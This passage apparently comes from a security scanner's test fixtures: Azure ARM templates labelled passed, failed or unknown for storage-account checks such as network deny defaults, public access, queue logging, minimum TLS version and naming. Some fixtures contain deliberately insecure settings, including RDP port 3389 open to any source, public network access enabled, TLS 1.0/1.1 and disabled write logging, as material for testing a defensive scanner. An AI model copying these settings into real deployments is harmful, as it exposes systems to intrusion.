"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]" ], "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('vnetName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "subnet1", "properties": { "addressPrefix": "[parameters('subnet1Prefix')]", "serviceEndpoints": [ { "service": "Microsoft.Storage" } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } }, { "name": "subnet2", "properties": { "addressPrefix": "[parameters('subnet2Prefix')]" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[concat(variables('publicIPAddressName'), copyIndex())]", "location": "[parameters('location')]", "copy": { "name": "pipLoop", "count": 2 }, "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2016-10-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat('nic', copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('vnetName')]", "pipLoop" ], "copy": { "name": "nicLoop", "count": 2 }, "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[variables('subnetId')[copyIndex()]]" }, "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('storageAccountName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]" ], "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "Storage", "properties": { "networkAcls": { "bypass": "AzureServices", "virtualNetworkRules": [ { "id": "[variables('subnetId')[0]]", "action": "Allow" } ], "defaultAction": "Deny" } } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/availabilitySets", "name": "as1", "location": "[parameters('location')]", "sku": { "name": "Aligned" }, "properties": { "platformFaultDomainCount": 2, "platformUpdateDomainCount": 2 } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[concat(variables('vmName'), copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "nicLoop", "Microsoft.Compute/availabilitySets/as1" ], "copy": { "name": "vmLoop", "count": 2 }, "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', 'as1')]" }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computername": "[concat(variables('vmName'), copyIndex())]", "adminUsername": "[parameters('adminUserName')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2016-Datacenter", "version": "latest" }, "osDisk": { "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-UNKNOWN.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "VM admin user name" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "VM admin password" } }, "vnetName": { "type": "string", "defaultValue": "VNet1", "metadata": { "description": "Name of the virtual network" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the virtual network" } }, "subnet1Name": { "type": "string", "defaultValue": "subnet1", "metadata": { "description": "Name of the first subnet in the VNet" } }, "subnet1Prefix": { "type": "string", "defaultValue": "10.0.1.0/24", "metadata": { "description": "Address prefix for subnet1" } }, "subnet2Name": { "type": "string", "defaultValue": "subnet2", "metadata": { "description": "Name of the second subnet in the VNet" } }, "subnet2Prefix": { "type": "string", "defaultValue": "10.0.2.0/24", "metadata": { "description": "Address prefix for subnet2" } }, "vmSize": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VM" } }, "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "metadata": { "description": "Geo-replication type of Storage account" }, "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ] }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[uniqueString(resourceGroup().id)]", "publicIpAddressName": "pip", "vmName": "testvm", "subnetId": [ "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]" ], "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('vnetName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "subnet1", "properties": { "addressPrefix": "[parameters('subnet1Prefix')]", "serviceEndpoints": [ { "service": "Microsoft.Storage" } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } }, { "name": "subnet2", "properties": { "addressPrefix": "[parameters('subnet2Prefix')]" } } ] } }, { "apiVersion": "2017-09-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[concat(variables('publicIPAddressName'), copyIndex())]", "location": "[parameters('location')]", "copy": { "name": "pipLoop", "count": 2 }, "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2016-10-01", "type": "Microsoft.Network/networkInterfaces", "name": "[concat('nic', copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('vnetName')]", "pipLoop" ], "copy": { "name": "nicLoop", "count": 2 }, "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[variables('subnetId')[copyIndex()]]" }, "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('storageAccountName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]" ], "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "Storage", "properties": { "networkAcls": "defaultAction" } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/availabilitySets", "name": "as1", "location": "[parameters('location')]", "sku": { "name": "Aligned" }, "properties": { "platformFaultDomainCount": 2, "platformUpdateDomainCount": 2 } }, { "apiVersion": "2017-03-30", "type": "Microsoft.Compute/virtualMachines", "name": "[concat(variables('vmName'), copyIndex())]", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "nicLoop", "Microsoft.Compute/availabilitySets/as1" ], "copy": { "name": "vmLoop", "count": 2 }, "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', 'as1')]" }, "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computername": "[concat(variables('vmName'), copyIndex())]", "adminUsername": "[parameters('adminUserName')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2016-Datacenter", "version": "latest" }, "osDisk": { "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountDisablePublicAccess/FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "enabled", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "publicNetworkAccess": "Enabled" } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountDisablePublicAccess/PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "default", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "supportsHttpsTrafficOnly": true } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountDisablePublicAccess/PASSED_2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "disabled", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "publicNetworkAccess": "Disabled" } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountLoggingQueueServiceEnabled/exampleStorageAccountLoggingQueueServiceEnabled-Failed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountName": { "type": "String" }, "settingName": { "type": "String" }, "storageSinkName": { "type": "String" }, "workspaceId": { "type": "String" } }, "resources": [ { "apiVersion": "2019-10-01", "name": "nested", "type": "Microsoft.Resources/deployments", "properties": { "mode": "Incremental", "expressionEvaluationOptions": { "scope": "inner" }, "parameters": { "endpoints": { "value": "[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01', 'Full').properties.primaryEndpoints]" }, "settingName": { "value": "[parameters('settingName')]" }, "storageAccountName": { "value": "[parameters('storageAccountName')]" }, "storageSinkName": { "value": "[parameters('storageSinkName')]" }, "workspaceId": { "value": "[parameters('workspaceId')]" } }, "template": { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "endpoints": { "type": "object" }, "settingName": { "type": "String" }, "storageAccountName": { "type": "String" }, "storageSinkName": { "type": "String" }, "workspaceId": { "type": "String" } }, "variables": { "hasblob": "[contains(parameters('endpoints'),'blob')]", "hastable": "[contains(parameters('endpoints'),'table')]", "hasfile": "[contains(parameters('endpoints'),'file')]", "hasqueue": "[contains(parameters('endpoints'),'queue')]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hasblob')]", "type": "Microsoft.Storage/storageAccounts/blobServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": true }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hastable')]", "type": "Microsoft.Storage/storageAccounts/tableServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": true }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hasfile')]", "type": "Microsoft.Storage/storageAccounts/fileServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": false }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hasqueue')]", "type": "Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": false }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountLoggingQueueServiceEnabled/exampleStorageAccountLoggingQueueServiceEnabled-Failed2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountName": { "type": "String" }, "settingName": { "type": "String" }, "storageSinkName": { "type": "String" }, "workspaceId": { "type": "String" } }, "resources": [ { "apiVersion": "2019-10-01", "name": "nested", "type": "Microsoft.Resources/deployments", "properties": { "mode": "Incremental", "expressionEvaluationOptions": { "scope": "inner" }, "parameters": { "endpoints": { "value": "[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01', 'Full').properties.primaryEndpoints]" }, "settingName": { "value": "[parameters('settingName')]" }, "storageAccountName": { "value": "[parameters('storageAccountName')]" }, "storageSinkName": { "value": "[parameters('storageSinkName')]" }, "workspaceId": { "value": "[parameters('workspaceId')]" } }, "template": { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "endpoints": { "type": "object" }, "settingName": { "type": "String" }, "storageAccountName": { "type": "String" }, "storageSinkName": { "type": "String" }, "workspaceId": { "type": "String" } }, "variables": { "hasblob": "[contains(parameters('endpoints'),'blob')]", "hastable": "[contains(parameters('endpoints'),'table')]", "hasfile": "[contains(parameters('endpoints'),'file')]", "hasqueue": "[contains(parameters('endpoints'),'queue')]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hasblob')]", "type": "Microsoft.Storage/storageAccounts/blobServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": true }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hastable')]", "type": "Microsoft.Storage/storageAccounts/tableServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": true }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hasfile')]", "type": "Microsoft.Storage/storageAccounts/fileServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": false }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hasqueue')]", "type": "Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountLoggingQueueServiceEnabled/exampleStorageAccountLoggingQueueServiceEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountName": { "type": "String" }, "settingName": { "type": "String" }, "storageSinkName": { "type": "String" }, "workspaceId": { "type": "String" } }, "resources": [ { "apiVersion": "2019-10-01", "name": "nested", "type": "Microsoft.Resources/deployments", "properties": { "mode": "Incremental", "expressionEvaluationOptions": { "scope": "inner" }, "parameters": { "endpoints": { "value": "[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01', 'Full').properties.primaryEndpoints]" }, "settingName": { "value": "[parameters('settingName')]" }, "storageAccountName": { "value": "[parameters('storageAccountName')]" }, "storageSinkName": { "value": "[parameters('storageSinkName')]" }, "workspaceId": { "value": "[parameters('workspaceId')]" } }, "template": { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "endpoints": { "type": "object" }, "settingName": { "type": "String" }, "storageAccountName": { "type": "String" }, "storageSinkName": { "type": "String" }, "workspaceId": { "type": "String" } }, "variables": { "hasblob": "[contains(parameters('endpoints'),'blob')]", "hastable": "[contains(parameters('endpoints'),'table')]", "hasfile": "[contains(parameters('endpoints'),'file')]", "hasqueue": "[contains(parameters('endpoints'),'queue')]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hasblob')]", "type": "Microsoft.Storage/storageAccounts/blobServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": true }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hastable')]", "type": "Microsoft.Storage/storageAccounts/tableServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": true }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hasfile')]", "type": "Microsoft.Storage/storageAccounts/fileServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": true }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } }, { "condition": "[variables('hasqueue')]", "type": "Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings", "apiVersion": "2017-05-01-preview", "name": "[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]", "properties": { "workspaceId": "[parameters('workspaceId')]", "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]", "logs": [ { "category": "StorageRead", "enabled": true }, { "category": "StorageWrite", "enabled": true }, { "category": "StorageDelete", "enabled": true } ], "metrics": [ { "category": "Transaction", "enabled": true } ] } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountMinimumTlsVersion/exampleStorageAccountMinimumTlsVersion-fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "minimumTlsVersion": "TLS1_0", "supportsHttpsTrafficOnly": true, "networkAcls": { "defaultAction": "Deny", "bypass": "AzureServices" } } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountMinimumTlsVersion/exampleStorageAccountMinimumTlsVersion-fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "minimumTlsVersion": "TLS1_1", "supportsHttpsTrafficOnly": true, "networkAcls": { "defaultAction": "Deny", "bypass": "AzureServices" } } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountMinimumTlsVersion/exampleStorageAccountMinimumTlsVersion-fail3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "supportsHttpsTrafficOnly": true, "networkAcls": { "defaultAction": "Deny", "bypass": "AzureServices" } } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountMinimumTlsVersion/exampleStorageAccountMinimumTlsVersion-passed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "storageAccountType": { "type": "string", "defaultValue": "Standard_LRS", "allowedValues": [ "Standard_LRS", "Standard_GRS", "Standard_ZRS", "Premium_LRS" ], "metadata": { "description": "Storage Account type" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat('store', uniquestring(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2019-04-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('storageAccountType')]" }, "kind": "StorageV2", "properties": { "minimumTlsVersion": "TLS1_2", "supportsHttpsTrafficOnly": true, "networkAcls": { "defaultAction": "Deny", "bypass": "AzureServices" } } } ], "outputs": { "storageAccountName": { "type": "string", "value": "[variables('storageAccountName')]" } } } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountName/camelCase.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2021-04-01", "name": "thisIsWrong", "location": "westeurope", "kind": "StorageV2", "sku": { "name": "Standard_GRS" }, "tags": { "environment": "staging" } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountName/kebabCase.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2021-04-01", "name": "this-is-wrong", "location": "westeurope", "kind": "StorageV2", "sku": { "name": "Standard_GRS" }, "tags": { "environment": "staging" } } ] } ================================================ FILE: tests/arm/checks/resource/example_StorageAccountName/pass.json ================================================ { "$schema": 